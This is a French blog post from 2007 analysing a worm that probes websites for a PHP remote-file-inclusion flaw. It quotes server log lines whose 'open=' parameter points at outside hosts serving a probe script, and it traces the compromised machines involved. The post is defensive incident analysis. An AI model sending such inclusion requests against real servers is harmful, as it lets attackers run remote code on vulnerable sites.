Le ver du jour

Stéphane Bortzmeyer
<stephane+blog@bortzmeyer.org>

Première rédaction de cet article le 16 décembre 2007

https://www.bortzmeyer.org/ver-du-jour.html

Événement très banal que l'apparition d'un nouveau ver sur Internet. Celui-ci est nouveau pour moi et je n'ai pas encore trouvé de référence sur lui. Il va voir de nombreux sites Web en testant une vulnérabilité PHP.

Le webmestre qui regarde les journaux de son site Web trouve toujours des traces des visites des vers qui examinent son site à la recherche de vulnérabilités. En effet, le fait d'avoir un site Web peu connu et peu visité ne met pas à l'abri des vers. Ceux-ci ne cherchent pas uniquement des sites Web à fort profil pour les défigurer ou pour lire leurs données, ils cherchent aussi des sites Web quelconques, pour les infecter et attaquer ensuite d'autres machines.

Depuis quelques jours, un nouveau ver semble de sortie. On voit dans les journaux :

```
66.48.80.141 - - [14/Dec/2007:16:37:12 +0100] "GET /files/jres2007-openid-article.pdf/index.php?open=http://207.
66.48.80.141 - - [14/Dec/2007:16:37:12 +0100] "GET /index.php?open=http://207.35.44.70/jeangerard/gerard/admin/i
66.48.80.141 - - [14/Dec/2007:16:37:13 +0100] "GET /files/index.php?open=http://207.35.44.70/jeangerard/gerard/a
...
85.214.68.70 - - [16/Dec/2007:19:01:12 +0100] "GET /files/jres2007-openid-article.pdf//index.php?open=http://www
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET //index.php?open=http://www.gumgangfarm.com/shop/data/id.txt?
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET /files/jres2007-openid-article.pdf//index.php?open=http://www
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET /files//index.php?open=http://www.gumgangfarm.com/shop/data/i
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET //index.php?open=http://www.gumgangfarm.com/shop/data/id.txt?
85.214.68.70 - - [16/Dec/2007:19:01:14 +0100] "GET /files//index.php?open=http://www.gumgangfarm.com/shop/data/i
```

et de nombreuses autres connexions analogues venues de nombreuses machines et utilisant des URL très différents.

Le ver (apparemment écrit en Perl) n'est pas subtil : il essaie aveuglément tous les sites Web possibles. Il n'y a jamais eu de script PHP sur cette machine (notez qu'il obtient un code d'erreur 404, soit, comme l'indique le RFC 2616 [1], « Fichier non trouvé »), mais cela ne l'arrête pas.

1. Pour voir le RFC de numéro NNN, https://www.ietf.org/rfc/rfcNNN.txt, par exemple https://www.ietf.org/rfc/rfc2616.txt

S'il y avait un fichier ayant la vulnérabilité en question (que je ne connais pas mais qui permet apparemment d'inclure du code PHP récupéré sur le réseau), il chargerait le fichier indiqué (j'ai gardé une copie ici (en ligne sur `https://www.bortzmeyer.org/files/id.txt`)), fichier qui (il en existe quelques variantes), s'il est exécuté, affiche quelques informations sur la machine hôte. Rien de dramatique, à première vue, sauf que ces informations indiqueraient à l'attaquant que son attaque a réussi, il pourrait alors passer à une deuxième phase, plus redoutable.

Peut-on retrouver l'attaquant ? Les machines qui se connectent en HTTP sont probablement des zombies et connaitre leur adresse IP n'aide guère. 85.214.68.70, trouvons-nous avec whois, est chez un hébergeur allemand. C'est apparemment un serveur Web (la page d'accueil est du Plesk), sans doute lui même craqué par le ver et lançant d'autres attaques. 66.48.80.141 est aux États-Unis et est également un serveur Web (on y voit cPanel).

Pouvons-nous alors retrouver le coupable par le site auquel il accède pour télécharger son programme de test (ici `http://www.gumgangfarm.com/shop/data/id.txt` ou bien `http://207.35.44.70/jea`
Même pas. Ces sites sont également craqués par le ver et n'ont pas de rapport direct avec l'attaquant (`www.gumgangfarm.com` est un site Web chinois, joli à regarder si on ne parle pas chinois).

Les machines en cause semblent toutes être des machines Unix, alors que la plupart des zombies sont plutôt des PC Windows. C'est que l'attaquant n'a pas besoin de craquer le système d'exploitation et de passer root. Il lui suffit de trouver une faille dans le site Web et de rebondir ensuite sur d'autres machines. La grande quantité de sites écrits en PHP avec les pieds, par des amateurs se prétendant « "*webmaster*" » et pas gérés par la suite (jamais mis à jour, même lorsqu'une faille de sécurité a été publiée) rend cette tâche assez facile. C'est par exemple ce qui était arrivé à Kim Cameron sur son blog `<http://www.identityblog.com/?p=890>`.